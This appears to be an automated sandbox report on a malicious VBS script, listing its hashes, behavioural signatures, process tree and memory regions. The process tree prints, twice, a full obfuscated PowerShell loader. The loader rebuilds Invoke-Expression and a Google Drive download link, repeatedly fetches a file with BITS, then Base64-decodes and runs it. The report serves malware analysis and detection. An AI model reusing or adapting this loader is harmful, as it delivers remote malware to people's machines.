Analysis
-
max time kernel
92s -
max time network
122s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 18:39
Static task
static1
Behavioral task
behavioral1
Sample
ocrev ns.ordine 290520280324.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
ocrev ns.ordine 290520280324.vbs
Resource
win10v2004-20240226-en
General
-
Target
ocrev ns.ordine 290520280324.vbs
-
Size
39KB
-
MD5
fa056beb38a88b12dbc668b3f154e767
-
SHA1
fac7b8db2c2d25253df4b363c4be4e6f53d36e5b
-
SHA256
e89cc01f68abe8c3b986801052bd118be35c6dd01e3757ecfe80ed90acb2bff0
-
SHA512
df44a0d080cef7bb783f8bf64876dca6e67afbb48d888c235914e33f70174cdd04907e250e7d7636fb18b209c5d0d5a27d752e9842aa1cbca730b818ee0ba00f
-
SSDEEP
768:u0agBtKWAZGc8NnKwiQoAMyCgnnDSR9mfJYAwYu3:BQqNnKwbmgnDSefJYADQ
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1324 1812 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 3652 powershell.exe 3652 powershell.exe 1812 powershell.exe 1812 powershell.exe 1812 powershell.exe 1812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3652 powershell.exe Token: SeDebugPrivilege 1812 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 4644 wrote to memory of 3652 4644 WScript.exe powershell.exe PID 4644 wrote to memory of 3652 4644 WScript.exe powershell.exe PID 3652 wrote to memory of 512 3652 powershell.exe cmd.exe PID 3652 wrote to memory of 512 3652 powershell.exe cmd.exe PID 3652 wrote to memory of 1812 3652 powershell.exe powershell.exe PID 3652 wrote to memory of 1812 3652 powershell.exe powershell.exe PID 3652 wrote to memory of 1812 3652 powershell.exe powershell.exe PID 1812 wrote to memory of 4672 1812 powershell.exe cmd.exe PID 1812 wrote to memory of 4672 1812 powershell.exe cmd.exe PID 1812 wrote to memory of 4672 1812 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ocrev ns.ordine 290520280324.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Balkanisering Skovjordbrrenes Squills #>;$Tolan=(cmd /c set /A 115^^0);Function Makron ([String]$Glitning62){$Flkksen=[char][int]$Tolan+'ubstring';$Seksualforbrydelsernterchoke=8;$Grisliest=Underfaktureringens($Glitning62);For($Seksualforbrydelser=7; $Seksualforbrydelser -lt $Grisliest; $Seksualforbrydelser+=$Seksualforbrydelsernterchoke){$Dissimilative=$Glitning62.$Flkksen.Invoke($Seksualforbrydelser, 1);$Heteromeran=$Heteromeran+$Dissimilative;}$Heteromeran;}function Brontosaur ($Afmelding){. ($trykknaptoner) ($Afmelding);}function Underfaktureringens ([String]$Flyvestationen){$Donorer=$Flyvestationen.Length-1;$Donorer;}$Achaemenidae=Makron 'LoricarTSul,hurrCoun,eraFrstegan frmn,vsE.samenfPuklen,eIron,our ZymogerSpunsigiunpreemnAntiarig Hulkor ';$nonapplicability=Makron 'fertilih Non.titPsaltettSan.sigpF rlgges Unmark:,orudbe/Theoso,/GerberadFeltop rQuarreliPast.urvInserateIp,pode.Viskendg DykkeroSinkerboKomponega ngueslResearceUndeci,.De ineacTranspooBjergtam Bundp,/Upan.shuFirlingcPrammes? embowkeMirrorixKystbanpTrm kenoCircumlrUnrelattSyndica= NonpardTr eskyoFordmmewPiecertnSmre stlSolvognoC,rasinaAnl gged Unfear&Prostiti SuperodUnissua=Corbina1Xe.omyrRbarrikaTSkovsvicMutualiDFllersr5 Ursulal SvovlabHove grB al ervFTeokratHMu onanxBilledr8apalitnpDef.nitsSkakterY,erisark ReunpanDia,onaD Futt rcSla.elsQLambast2RedimenmDummestwTilbag.AAngioc s Axioma1 CivileMWronskiZUddanneZFrit.me1U,pervayPre ankiBrnepda ';$trykknaptoner=Makron 'JobberiiBogtryke IndpakxWe.foot ';$Ibrndes=Makron 'unpower$P.eromag Tffel.l,sychoso Alkalib GravedaUnite il Unsavo:Tinges.Halkit,ao amnatirargyr stVedkommi Retouck Cyklo.uPriva.ilTu.indetFarv lfu Harborr Ta.negeAmorouslPygme,n Land.or= Araksh Dkna nkSForgivntIndskriaS,ebentrSlu,strtUltragr- SuperfBunctuosi .eterotSpecielsNeonre,TTrafikerA,derskaKar.issnwolmerss Et,ernfFortovsedisharmrAf,ladn Pol,ch-tranquiSEntu,iaoDigekrouflonellr Medic cPaintieeTa,tefe inte,s$,nserafnMemorizousyn.ign Tenontadetermip Tra.tap,freefjlbedrageiCo,terpcNovebora ForgasbTritanoi ngratlSta lvaiWhslehut KlinkeyCajoler T gugur-En,estyDH.ngerweIn.tastsMilie.st RaasiliafstemnnDokkemuaVerdenstAndengriFastlaaopokeroonlnning. Gramoch$Dys ropD HomoloeKodfodelDisgrunp Va dalrEthopo,o Pegas jFlukilyeSugep mku.yggeltLikvideeLhot.gorCantalon Reklame Squade ';Brontosaur (Makron ',ernban$AstianfgBrugernlCatal,no Contrab rereslaSp.reknl Pisten: CondylDAut,mobeFornentlOutperfpCimeliurArticovoMerenchjSpottaie AzoospkAnmodnitUniktame BeclasrDisembanTekstmaeLax.yci= Bedsta$m.ndskee Om krinKlirredvSk svrt:NedsnknaUnstuccpBengtedp Smir,idKi,kedaaFrdighetTartaraaR,goute ') ;Brontosaur (Makron 'Mali.ioI Kar.inmTechnicpVkstregol,getaarB handltPhenoxi-DisrobiMtrevreloKnirkeddPragtvru Skn eglFirebloe,xodist DrivhjuBGavne,eiS.earfitPhenylcsKo,dkriTKejserkrFo ledsa.escantnJvnbyrdshectol fDi antpeIchthyorBateman ') ;$Delprojekterne=$Delprojekterne+'\Cacidrosis.Pus' ;Brontosaur (Makron 'Chooseh$unnoosegForbrugl Cl ateoKrybberbGuyerssaPseudoslun.pray: RaadsmC UnspiroAeronomnAa nerec Empa.hu .kumrerFolkefos,onvoluuTonico.sAnomalo=Afbloms(DidstprTBrsspeke Afklens Th.atrtemitten- LerdonP Wrathia Triumvt Quadrih Teents Over.la$GjordedDOchlocreManipullPilleripAflvninrPropagao RenovajFerniseeGospelskSubje,tt Minkf.e.mrkelirEfterlinHavebrueRyn,era) Merist ') ;while (-not $Concursus) {Brontosaur (Makron 'goniophIBaandopf Quizzi So,rani(Evernes$PdagogeHBegodu oWeihoverArkadentBaalplaiApiece.k Kolo nuGe atinl TremaetAttrectu OversprbluffereVisitatlA.tenhi.VagtholJL,vsstioValt,rmbL,efangSUdmatrit Sex,loa CohogatSemimodeOverskr Aarskoe-p erygieAnklageqBr earb Nargilm$MultijuAMae nidcSkalpe.hKomlksvaDrner ce KloakemHammerkeMasc,tinSamvretiOratornd MaskinaTumbrele.razedn)Hylde.s skrueis{JgerstuSNonerrot elloesaDrjderbrEngrosstcol,oxu-SpringbSOrt gonlskarnkaeMeropodeRejensgpdivalen Afg.ett1Drfljen}Fis.neteVitrifalFin,ekasPersonleOrganot{ .horseSTeltholtJaketsraGro.tenr.alibratA.ompha-JagtlejSRetr,eul AuthoreTril.ineAgpaitip.uskers P.emeas1 rotche;SaarhelB ankvor make,hoKystb,nnalgorittColoniao BestiksrerigesaBuks baufodrodsr Agasti Napk.n$FicoskaIH andspb Oleo tr Soldesn Interrd SwabbeeLidiasasGardehu} ycledb ');Brontosaur (Makron 'Premitp$Nuppendgdatove,lja.batioBenzintbGeckinga.kstraplRecitat: DezaleCGril ino Unsp.nn SuppetcGrundl,u elefonrIncremesUnquencuInquirisObvolve=regange(R.ceptiTInitialeMazzardsEiner stpapirbi-Psam,omPpejlstoaRunaanttSkattebhClepsin Kanvase$ Aut maD Kursuse.dsvednlTrophodpStuelrdrExemplaoUn laspjT.lmatee GraphekAcroamatCronhame UdsgterLintelinP.ginereLngersc)Mukkert ') ;}Brontosaur (Makron 'Subseri$Otiatr,g Thereol Fr wnlouniformb GrandiaBjergarl Trngse:Ba.fodeGPerimetaUdbygdesb mbesto debarklStinkini terapieSygesikr .torsvyKommerc .happys=Spyttek BuzzerGHjemme eLjtnanttFabular-But,noiCLiniedioDrilybenLokalfot .uciabePastoranViv,ennt Shee,h Patrici$UnderwoDGamotroeBestyrel womanppfundamerLethargoBrudbjejExec treProfesskEric,ust M.gnifeVankeder egredinTilsidseKodere, ');Brontosaur (Makron 'Underin$Parb.ilgSautoirlAmbagioo GlycerbSengebaaabrogatlBombard:AntidotRPunktskrNenessulBerlineaD abssig E.uiartBelcher E,stas=S ackle Re res[MindstySUninterysnnernesUncathat tjeneseDamp.ammEnkeltp.Adia,heCTransitoBo,ishlnDragstevFestooneSemitenrKlarhjetfavuses]Arbejds: Progno:Fi tiveFSvind.erBribemooUnloppemR.gsenhBPassateaRu,turisSer,mineSalater6Sadlers4UndupliSCo pliat,hervefrBothriuiSamovarnHeartbrgTrrepla(Unimpre$Snurr,vGFarv.ndaWattseksOutsettoDisclail InjectiBeelolseCisternr UbemrkyRebon,i)Oenoli. ');Brontosaur (Makron 'Cooptin$Grangerg SentenlLymphadograt,nvbCourbela,oncettl Hetero:TaksttrP RenewaaForva.krEdi yineFroko,tnOutbawl Il,egal=Stung.e Stromat[RampikeSMindsteyMagth vsCiv.lpotNongramePoncanemTrentep.LdrepolT regnskeWi.netkxd.plobat Vi.kel.Konfyt E SnafflnMyopugicGenteknoQuer srdDia.oneiballernnT agtiggErrssva] ,ridev: Indfre: Enkem AStudentSRhagadeC EpistyI DisketI Jun,en.SojournG U,succe Fielbet SlagfjSandrogftUnintenrPrstindiMentholn DksblagTumlepl( Pedome$ nkoshRPropaner FilmbylAggregaaCoyotilg UnconstEftert )Haardfr ');Brontosaur (Makron 'Humuhum$Perikumg K,aksalDri husoSildigtbUtjenstaS,amanslUdk nto:KilolitT olatiliForhindl Af.rkktOrangervTiliseniRe,nskan sdvaneg JaithreB.stepurLar,ons=Plasm d$C ondroPPaleod a Squa,orPlexu.se tannitnParad.r.,rillensApsisseuGoopylubLus revsMatrixptAnyb.dirSalomoniData.asnDrivgasgxant ot(Waterwo3Inchoat5Mesorh,0,issabl7L fligh9,malhan4Ansv rs,Calandr3Shakeup2Spdbarn5Bidimen3Nipsgen7Tubuleu)Sixtyse ');Brontosaur $Tiltvinger;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Balkanisering Skovjordbrrenes Squills #>;$Tolan=(cmd /c set /A 115^^0);Function Makron ([String]$Glitning62){$Flkksen=[char][int]$Tolan+'ubstring';$Seksualforbrydelsernterchoke=8;$Grisliest=Underfaktureringens($Glitning62);For($Seksualforbrydelser=7; $Seksualforbrydelser -lt $Grisliest; $Seksualforbrydelser+=$Seksualforbrydelsernterchoke){$Dissimilative=$Glitning62.$Flkksen.Invoke($Seksualforbrydelser, 1);$Heteromeran=$Heteromeran+$Dissimilative;}$Heteromeran;}function Brontosaur ($Afmelding){. ($trykknaptoner) ($Afmelding);}function Underfaktureringens ([String]$Flyvestationen){$Donorer=$Flyvestationen.Length-1;$Donorer;}$Achaemenidae=Makron 'LoricarTSul,hurrCoun,eraFrstegan frmn,vsE.samenfPuklen,eIron,our ZymogerSpunsigiunpreemnAntiarig Hulkor ';$nonapplicability=Makron 'fertilih Non.titPsaltettSan.sigpF rlgges Unmark:,orudbe/Theoso,/GerberadFeltop rQuarreliPast.urvInserateIp,pode.Viskendg DykkeroSinkerboKomponega ngueslResearceUndeci,.De ineacTranspooBjergtam Bundp,/Upan.shuFirlingcPrammes? embowkeMirrorixKystbanpTrm kenoCircumlrUnrelattSyndica= NonpardTr eskyoFordmmewPiecertnSmre stlSolvognoC,rasinaAnl gged Unfear&Prostiti SuperodUnissua=Corbina1Xe.omyrRbarrikaTSkovsvicMutualiDFllersr5 Ursulal SvovlabHove grB al ervFTeokratHMu onanxBilledr8apalitnpDef.nitsSkakterY,erisark ReunpanDia,onaD Futt rcSla.elsQLambast2RedimenmDummestwTilbag.AAngioc s Axioma1 CivileMWronskiZUddanneZFrit.me1U,pervayPre ankiBrnepda ';$trykknaptoner=Makron 'JobberiiBogtryke IndpakxWe.foot ';$Ibrndes=Makron 'unpower$P.eromag Tffel.l,sychoso Alkalib GravedaUnite il Unsavo:Tinges.Halkit,ao amnatirargyr stVedkommi Retouck Cyklo.uPriva.ilTu.indetFarv lfu Harborr Ta.negeAmorouslPygme,n Land.or= Araksh Dkna nkSForgivntIndskriaS,ebentrSlu,strtUltragr- SuperfBunctuosi .eterotSpecielsNeonre,TTrafikerA,derskaKar.issnwolmerss Et,ernfFortovsedisharmrAf,ladn Pol,ch-tranquiSEntu,iaoDigekrouflonellr Medic cPaintieeTa,tefe inte,s$,nserafnMemorizousyn.ign Tenontadetermip Tra.tap,freefjlbedrageiCo,terpcNovebora ForgasbTritanoi ngratlSta lvaiWhslehut KlinkeyCajoler T gugur-En,estyDH.ngerweIn.tastsMilie.st RaasiliafstemnnDokkemuaVerdenstAndengriFastlaaopokeroonlnning. Gramoch$Dys ropD HomoloeKodfodelDisgrunp Va dalrEthopo,o Pegas jFlukilyeSugep mku.yggeltLikvideeLhot.gorCantalon Reklame Squade ';Brontosaur (Makron ',ernban$AstianfgBrugernlCatal,no Contrab rereslaSp.reknl Pisten: CondylDAut,mobeFornentlOutperfpCimeliurArticovoMerenchjSpottaie AzoospkAnmodnitUniktame BeclasrDisembanTekstmaeLax.yci= Bedsta$m.ndskee Om krinKlirredvSk svrt:NedsnknaUnstuccpBengtedp Smir,idKi,kedaaFrdighetTartaraaR,goute ') ;Brontosaur (Makron 'Mali.ioI Kar.inmTechnicpVkstregol,getaarB handltPhenoxi-DisrobiMtrevreloKnirkeddPragtvru Skn eglFirebloe,xodist DrivhjuBGavne,eiS.earfitPhenylcsKo,dkriTKejserkrFo ledsa.escantnJvnbyrdshectol fDi antpeIchthyorBateman ') ;$Delprojekterne=$Delprojekterne+'\Cacidrosis.Pus' ;Brontosaur (Makron 'Chooseh$unnoosegForbrugl Cl ateoKrybberbGuyerssaPseudoslun.pray: RaadsmC UnspiroAeronomnAa nerec Empa.hu .kumrerFolkefos,onvoluuTonico.sAnomalo=Afbloms(DidstprTBrsspeke Afklens Th.atrtemitten- LerdonP Wrathia Triumvt Quadrih Teents Over.la$GjordedDOchlocreManipullPilleripAflvninrPropagao RenovajFerniseeGospelskSubje,tt Minkf.e.mrkelirEfterlinHavebrueRyn,era) Merist ') ;while (-not $Concursus) {Brontosaur (Makron 'goniophIBaandopf Quizzi So,rani(Evernes$PdagogeHBegodu oWeihoverArkadentBaalplaiApiece.k Kolo nuGe atinl TremaetAttrectu OversprbluffereVisitatlA.tenhi.VagtholJL,vsstioValt,rmbL,efangSUdmatrit Sex,loa CohogatSemimodeOverskr Aarskoe-p erygieAnklageqBr earb Nargilm$MultijuAMae nidcSkalpe.hKomlksvaDrner ce KloakemHammerkeMasc,tinSamvretiOratornd MaskinaTumbrele.razedn)Hylde.s skrueis{JgerstuSNonerrot elloesaDrjderbrEngrosstcol,oxu-SpringbSOrt gonlskarnkaeMeropodeRejensgpdivalen Afg.ett1Drfljen}Fis.neteVitrifalFin,ekasPersonleOrganot{ .horseSTeltholtJaketsraGro.tenr.alibratA.ompha-JagtlejSRetr,eul AuthoreTril.ineAgpaitip.uskers P.emeas1 rotche;SaarhelB ankvor make,hoKystb,nnalgorittColoniao BestiksrerigesaBuks baufodrodsr Agasti Napk.n$FicoskaIH andspb Oleo tr Soldesn Interrd SwabbeeLidiasasGardehu} ycledb ');Brontosaur (Makron 'Premitp$Nuppendgdatove,lja.batioBenzintbGeckinga.kstraplRecitat: DezaleCGril ino Unsp.nn SuppetcGrundl,u elefonrIncremesUnquencuInquirisObvolve=regange(R.ceptiTInitialeMazzardsEiner stpapirbi-Psam,omPpejlstoaRunaanttSkattebhClepsin Kanvase$ Aut maD Kursuse.dsvednlTrophodpStuelrdrExemplaoUn laspjT.lmatee GraphekAcroamatCronhame UdsgterLintelinP.ginereLngersc)Mukkert ') ;}Brontosaur (Makron 'Subseri$Otiatr,g Thereol Fr wnlouniformb GrandiaBjergarl Trngse:Ba.fodeGPerimetaUdbygdesb mbesto debarklStinkini terapieSygesikr .torsvyKommerc .happys=Spyttek BuzzerGHjemme eLjtnanttFabular-But,noiCLiniedioDrilybenLokalfot .uciabePastoranViv,ennt Shee,h Patrici$UnderwoDGamotroeBestyrel womanppfundamerLethargoBrudbjejExec treProfesskEric,ust M.gnifeVankeder egredinTilsidseKodere, ');Brontosaur (Makron 'Underin$Parb.ilgSautoirlAmbagioo GlycerbSengebaaabrogatlBombard:AntidotRPunktskrNenessulBerlineaD abssig E.uiartBelcher E,stas=S ackle Re res[MindstySUninterysnnernesUncathat tjeneseDamp.ammEnkeltp.Adia,heCTransitoBo,ishlnDragstevFestooneSemitenrKlarhjetfavuses]Arbejds: Progno:Fi tiveFSvind.erBribemooUnloppemR.gsenhBPassateaRu,turisSer,mineSalater6Sadlers4UndupliSCo pliat,hervefrBothriuiSamovarnHeartbrgTrrepla(Unimpre$Snurr,vGFarv.ndaWattseksOutsettoDisclail InjectiBeelolseCisternr UbemrkyRebon,i)Oenoli. ');Brontosaur (Makron 'Cooptin$Grangerg SentenlLymphadograt,nvbCourbela,oncettl Hetero:TaksttrP RenewaaForva.krEdi yineFroko,tnOutbawl Il,egal=Stung.e Stromat[RampikeSMindsteyMagth vsCiv.lpotNongramePoncanemTrentep.LdrepolT regnskeWi.netkxd.plobat Vi.kel.Konfyt E SnafflnMyopugicGenteknoQuer srdDia.oneiballernnT agtiggErrssva] ,ridev: Indfre: Enkem AStudentSRhagadeC EpistyI DisketI Jun,en.SojournG U,succe Fielbet SlagfjSandrogftUnintenrPrstindiMentholn DksblagTumlepl( Pedome$ nkoshRPropaner FilmbylAggregaaCoyotilg UnconstEftert )Haardfr ');Brontosaur (Makron 'Humuhum$Perikumg K,aksalDri husoSildigtbUtjenstaS,amanslUdk nto:KilolitT olatiliForhindl Af.rkktOrangervTiliseniRe,nskan sdvaneg JaithreB.stepurLar,ons=Plasm d$C ondroPPaleod a Squa,orPlexu.se tannitnParad.r.,rillensApsisseuGoopylubLus revsMatrixptAnyb.dirSalomoniData.asnDrivgasgxant ot(Waterwo3Inchoat5Mesorh,0,issabl7L fligh9,malhan4Ansv rs,Calandr3Shakeup2Spdbarn5Bidimen3Nipsgen7Tubuleu)Sixtyse ');Brontosaur $Tiltvinger;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 27204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1812 -ip 18121⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uow4qpqg.ve2.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1812-18-0x0000000075010000-0x00000000757C0000-memory.dmpFilesize
7.7MB
-
memory/1812-36-0x0000000005F90000-0x0000000005FAE000-memory.dmpFilesize
120KB
-
memory/1812-17-0x00000000049E0000-0x0000000004A16000-memory.dmpFilesize
216KB
-
memory/1812-46-0x0000000075010000-0x00000000757C0000-memory.dmpFilesize
7.7MB
-
memory/1812-42-0x0000000008430000-0x00000000089D4000-memory.dmpFilesize
5.6MB
-
memory/1812-41-0x00000000071B0000-0x00000000071D2000-memory.dmpFilesize
136KB
-
memory/1812-40-0x0000000007220000-0x00000000072B6000-memory.dmpFilesize
600KB
-
memory/1812-39-0x0000000006570000-0x000000000658A000-memory.dmpFilesize
104KB
-
memory/1812-43-0x0000000007400000-0x0000000007422000-memory.dmpFilesize
136KB
-
memory/1812-44-0x0000000007480000-0x0000000007494000-memory.dmpFilesize
80KB
-
memory/1812-21-0x0000000005050000-0x0000000005678000-memory.dmpFilesize
6.2MB
-
memory/1812-19-0x0000000002610000-0x0000000002620000-memory.dmpFilesize
64KB
-
memory/1812-22-0x0000000002610000-0x0000000002620000-memory.dmpFilesize
64KB
-
memory/1812-38-0x0000000007800000-0x0000000007E7A000-memory.dmpFilesize
6.5MB
-
memory/1812-23-0x00000000056F0000-0x0000000005712000-memory.dmpFilesize
136KB
-
memory/1812-24-0x0000000005790000-0x00000000057F6000-memory.dmpFilesize
408KB
-
memory/1812-25-0x0000000005870000-0x00000000058D6000-memory.dmpFilesize
408KB
-
memory/1812-35-0x0000000005990000-0x0000000005CE4000-memory.dmpFilesize
3.3MB
-
memory/1812-37-0x0000000005FD0000-0x000000000601C000-memory.dmpFilesize
304KB
-
memory/3652-15-0x00000217612C0000-0x00000217612D0000-memory.dmpFilesize
64KB
-
memory/3652-20-0x00007FFA74E40000-0x00007FFA75901000-memory.dmpFilesize
10.8MB
-
memory/3652-16-0x00000217612C0000-0x00000217612D0000-memory.dmpFilesize
64KB
-
memory/3652-0-0x00000217634E0000-0x0000021763502000-memory.dmpFilesize
136KB
-
memory/3652-14-0x00000217638F0000-0x0000021763904000-memory.dmpFilesize
80KB
-
memory/3652-13-0x0000021763890000-0x00000217638B6000-memory.dmpFilesize
152KB
-
memory/3652-11-0x00000217612C0000-0x00000217612D0000-memory.dmpFilesize
64KB
-
memory/3652-12-0x00000217612C0000-0x00000217612D0000-memory.dmpFilesize
64KB
-
memory/3652-45-0x00000217612C0000-0x00000217612D0000-memory.dmpFilesize
64KB
-
memory/3652-10-0x00007FFA74E40000-0x00007FFA75901000-memory.dmpFilesize
10.8MB
-
memory/3652-49-0x00007FFA74E40000-0x00007FFA75901000-memory.dmpFilesize
10.8MB